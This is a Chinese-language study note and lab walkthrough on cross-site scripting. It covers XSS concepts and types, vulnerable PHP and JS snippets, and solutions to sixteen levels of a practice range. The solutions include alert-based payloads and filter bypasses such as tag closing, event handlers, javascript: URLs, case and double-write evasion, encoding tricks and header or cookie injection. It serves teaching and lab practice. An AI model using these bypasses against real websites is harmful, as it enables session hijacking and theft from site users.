目录
【学习目标、重难点知识】
【学习目标】
- XSS概念原理危害
- XSS分类
- XSS利用流程
- 反射型XSS
- 存储型XSS
见框就插,弹框即可证明漏洞存在
【重难点知识】
- XSS原理
- 反射型XSS
- 存储型XSS
1、概念
XSS跨站脚本介绍
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞
- XSS漏洞是出现再客户端的漏洞
是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
- xss漏洞最常见的攻击方式就是获取目标的cookie信息
- cookie:用于记录用户的一些信息;比如:登录状态,浏览记录等
C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles
- sql注入,注入的是sql语句
- 闭合的是是sql语句
- xss注入的是前端代码JS,闭合的也是前端代码,常见的html标签,让我们插入的标签生效
- 拿到cookie,要保证对方不退出,如果对方退出系统,cookie将失效
XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。
比如说:论坛或者谋篇文章下面留言,登录之后才允许评论,你的评论其他网友可以看到
<script>alert(1)</script>
攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄运行,流程如图所示:
- 攻击者先发起XSS攻击,注入恶意代码
- 然后诱导其他用户去访问含有js代码的的网站,然后网页中的js代码就会被执行
- 造成用户信息的泄露
- 测试xss,只需弹框即可证明,不要构造真实的攻击代码
XSS漏洞一直被认为是web安全中危害较大的漏洞,在owasp一直处于top3。而在对sql注入防范越来越严密的今天,xss也成了绝大部分黑客更喜欢的漏洞利用方式。XSS漏洞是发生在WEB前端的漏洞,所以危害面及广,任何用户在访问前端时都可能中招。
XSS的本质就是前端代码注入。
注入攻击的本质,是把用户输入的数据当做代码执行。
这里有两个关键条件:
- 第一个是用户能够控制输入
- 第二个是原本程序要执行的代码,拼接了用户输入的数据
问:那么XSS主要拼接的是什么?
SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句。
总结:xss就是拼接恶意的HTML
2、危害
面经:XSS的危害
- 网络钓鱼,包括盗取各类用户账号;
- 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
- 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
- 强制弹出广告页面、刷流量等;
- 网页挂马;
- 进行恶意操作,例如任意篡改页面信息、删除文章等;
- 进行大量的客户端攻击,如DDoS攻击;
- 结合其他漏洞,如CSRF漏洞,实施进一步作恶;
- 传播跨站脚本蠕虫等。
3、XSS分类
- 反射型XSS
-
- 你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击
- 存储型XSS
-
- 你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发
- DOM型XSS
-
- 主要利用DOM相关的操作,修改了页面,引发的惨案
4、XSS前端基础回顾
4.1、HTML标签:常用标签回顾。
- 单标签:由一个标签组成,
br/
<hr />
<img src=""/>
<input value="" name=""/>
- 双标签:由
开始标签
和结束标签
组成
<h1></h1>——<h6>
<script src=""></script>
4.2、JavaScript
基本的引入回顾,简单的语法回顾。
内部引入:
<script>JS代码</script>
<script>alert(1)</script>
外部引入:
<script src="外部JS地址"></script>
事件引入:
<button onclick="JS代码"></button>
window.location.href=
<button onclick="window.location.href='https://www.baidu.com'">跳转百度</button>
5、XSS利用流程
在有漏洞的前端页面嵌入恶意代码,导致受害者访问页面时不知情的情况下触发恶意代码,获取受害者关键信息。形成XSS漏洞的原因本质上还是对输入输出的过滤限制不严格,导致精心构造的脚本输入后,在前端被当做有效代码并执行。
6、XSS攻击基本流程
1.用firefox和chrome的右键菜单进入html编辑器或者直接查看网页源代码。
2.寻找输入点,在输入点输入特殊字符<>’’等,查看是否存在拦截,并且通过编辑器查看输入后存放的位置。
3.发现没有过滤特殊字符后,就要考虑如何构造payload进行xss攻击了。开始分析漏洞页面,构建payload。
网页内容为输出后的显示,箭头部分是我们可控输入的部分
<input type="text" value="123">
<input>
是一个空元素,所以在元素内是无论如何不能写入内容的,所以我们先要把<input>
闭合掉,然后再插入我们的xsspayload。
我们预想的弹窗语句:
<input type="text" value=" "><script>alert('xss')</script> ">
Input是一个完整的元素后面跟一个新的元素标签<script>
,此时的<script>
已经包含在正文的body内,成为可以执行的新元素,那么此时弹窗语句可以顺利执行。所以我们往回推,为保证输入过后能成为上面的语句,我们应该怎么做呢?如首先输入一个">将input元素闭合,其次将后面的<script>
内容输入即可。payload:"><script>alert('xss')</script>
,我们尝试输入一下,成功弹窗。
怎么简单检测是否存在XSS?
一般是想办法让浏览器弹窗(alert) 最经典的弹窗语句:
一般证明XSS是否存在,就是在正常页面传参然后构建参数让他弹窗就是存在XSS了
记住一句至理名言:见框就插
只要有弹窗,说明就有XSS漏洞。
7、反射型XSS
概念
反射性XSS又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含xss代码的恶意链接发给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,浏览器解析这段代码后就会触发xss攻击,完成攻击者想要的功能(获取cookies、url、浏览器信息、IP等等)。
攻击流程
1、见框就插
2、看是否弹框,如果弹框就表示攻击成功
3、如果没有弹框
- 是否闭合
- 是否由过滤
- 如果有过滤,尝试换一些标签,编码绕过,大小写绕过,双写绕过等等
代码分析
$html = '';
if (isset($_GET['submit'])) {
if (empty($_GET['message'])) {
$html .= "<p class='notice'>输入'kobe'试试-_-</p>";
} else {
if ($_GET['message'] == 'kobe') {
$html .= "<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
} else {
$html .= "<p class='notice'>who is <imag src=1 onerror=alert(1)>,i don't care!</p>";
}
}
}
在反射型XSS PHP代码中,通过GET获取参数message的值,然后通过判断输出message的值。
当输入<img src=1 onmouseenter=alert('xss')>
时,输出到页面的HTML代码变为
who is <img src=1 οnerrοr=alert('xss')> ,i don't care!
<img>
标签的作用让浏览器弹窗显示”xss”
8、存储型XSS
概念
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意叫你本的帖子时,恶意脚本会在他们的浏览器中得到执行。
如下,恶意攻击者在留言板中加入以下代码:<script>alert(“hello”)</script>
当其他用户访问留言版时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所以访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。
<script>console.log(123)</script>
攻击流程
代码分析
<p class="line">留言列表:</p>
<?php echo $html;
$query = "select * from message";
$result = execute($link, $query);
while ($data = mysqli_fetch_assoc($result)) {
echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
}
构造payload
<img src=1 onerror=alert(1)>
9、DOM型XSS
概念
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。HTML DOM树结构如下:
在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个项级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
- 反射型xss
- 用户提交js恶意代码 ==> 交给后端进行处理(php) ===> 后端将带有恶意代码的数据输出到页面上 ===> 导致恶意代码被执行
- 经过了后端的处理
- 必须要有一个后端的输出
- 有没有一种可能,不经过后端处理,直接输出到页面上
举个例子:完成不经过后端进行输出
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="dom.html" method="get">
<input type="text" name="keywords">
<input type="submit">
</form>
<p>搜索记录:<span id="history">value</span></p>
</body>
<script>
var url=document.location.href;
// console.log(url);
var index=url.indexOf("http://a/v/?keywords=sdfsdf");
// console.log(index);
var value=unescape(url.substring(index+"keywords=".length));
// console.log(value)
var span=document.getElementById("history");
span.innerHTML=value;
//在value的位置可以写任意的前端代码,都会被执行加载,也是一次性的。
</script>
</html>
反射型和dom型的区别
- 反射型经过了后端处理
- dom型,完全不经过后端
- 本质上dom型是一种特殊的反射型
存储型,将输入的内容写入到了数据库里面,然后输出的时候去调用库里面的内容
1、常见js操作dom的方法
- getElementById():返回带有指定 ID 的元素
- getElementsByName():返回包含带有指定 name 的所有元素的节点列表
- getElementsByTagName():返回包含带有指定标签名称的所有元素的节点列表
- getElementsByClassName():返回包含带有指定 class 的所有元素的节点列表
2、找到对象之后,就要操作对象:操作属性 或者 内容
span.innerHTML="内容";
span.innerText="内容";
代码分析
<script>
function domxss() {
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='" + str + "'>what do you see?</a>";
}
</script>
<input id="text" name="text" type="text" value="str"/>
<input id="button" type="button" value="click me!" onclick="domxss()"/>
<div id="dom"><a href='str'></a></div>
构造payload
'><img src=1 onerror=alert(1)>
10、XSS构造技巧
常用测试语句
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
常见的XSS的绕过编码
常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码。
JS编码
JS提供了四种字符编码的策略,如下所示:
三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。
两个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\x65”。
四个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\u0065”。
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)。
HTML实体编码
命名实体:以&开头,以分号结尾如 “<”的编码是“<”。字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值”。例如”<”可以编码为“<”和“<”。
https://www.w3school.com.cn/html/html_entities.asp
URL编码
这里的URL编码,也是两次URL全编码的结果,如果alert被过滤,可编码为如下:
%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
靶场解析
第一关
<script>alert(1)</script>
第二关
<script>alert(1)</script>
不成功——》查看源码——》是否被实体化了》——》input没有,闭合标签
-
-
- 尝试闭合标签
-
"><script>alert(1)</script>
第三关
<script>alert(1)</script>
-
- 发现标签被实体化
<input name=keyword value='<script>alert(1)</script>'>
-
-
- 尝试事件,onmouseenter
-
' onmouseenter='alert(1)
第四关
<script>alert(1)</script>
-
- 还是过滤尖括号
-
- 尝试事件绕过
" onmouseenter="alert(1)
第五关
<script>alert(1)</script>
-
- 尝试大小写绕过,发现还是不行
<ScRIpt>alert(1)</ScRIpt>
-
- 事件,发现也存在过滤
-
- 尝试伪协议
"><a href="javascript:alert(1)">点我</a>
<a href="javascript:alert(1)">点我</a>
第六关
<script>alert(1)</script>
还是被过滤
script => scr_ipt
* 尝试大小写绕过
"><SCrIpt>alert(1)</SCrIpt>
第七关
<script>alert(1)</script>
还是被过滤script
尝试双写绕过
"><scrscriptipt>alert(1)</scriscriptpt>
第八关
<script>alert(1)</script>
-
- 过滤了script=> scr_ipt
-
- 查看源码发现传入的内容在href里面
<a href="javascr_ipt:alert(1)">
-
- 所以,尝试了为协议,也被过滤
javascript:alert(1) ==> javascr_ipt:alert(1)
-
- 判断过滤了哪些字符,发现全部被过滤
src onfocus script onerror javascript
-
- 考虑编码绕过,unicode
javascript:alert(1)编码
javascript:alert(1)
第九关
<script>alert(1)</script>
验证了是否有HTTP
javascript:alert()/* http:// */
第十关
<script>alert(1)</script>
-
- 右键查看源码发现有几个隐藏的值
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
-
- 尝试将t_sort、t_history、t_link传入value,发现t_sort可以正常传入
- 再去尝试传入js闭合
" onmouseenter=alert(1) type="text
第十一关
- 查看源码时记录了referer头部
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://www.xsslibs.com/level10.php?keyword=123&t_link=123&t_history=123&t_sort=%22%20onfocus=alert(1)%20type=%22text" type="hidden">
- 尝试再referer头部传入
" onmouseenter=alert(1) type="text
第十二关
- 同第十一关
- 替换UA
第十三关
- 查看源码发现需要传入cookie
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
- 传入的cookie,需要满足题目要求,
user=call+me+maybe%3F
- 所以我们传进来的值应该是
user=" onfocus=alert(1) type="text
第十四关
- 忽略跳过
第十五关
- 利用的是文件包含
- js里面的ng-include和php里面include,一样的作用想办法包含其他关卡,进行弹框包含第二关,用经典xss代码发现被实体化,再尝试用事件型
http://www.xsslibs.com/level15.php?src='level2.php?keyword=as" onfocus="alert(1)'
第十六关
<script>alert(1)</script>
- 发现过滤了script
- 大小写,双写发现都不行
- 尝试其他标签,发现空格被过滤,被实体化了
- 尝试绕过空格,%0a替代空格
http://www.xsslibs.com/level16.php?keyword=%3Cimg%0asrc=123%0aonerror=alert(1)%3E
以上便是XSS靶场的实战练习,如果还有不明白的地方可以评论区留言,我会就疑问处出更详细的复现与讲解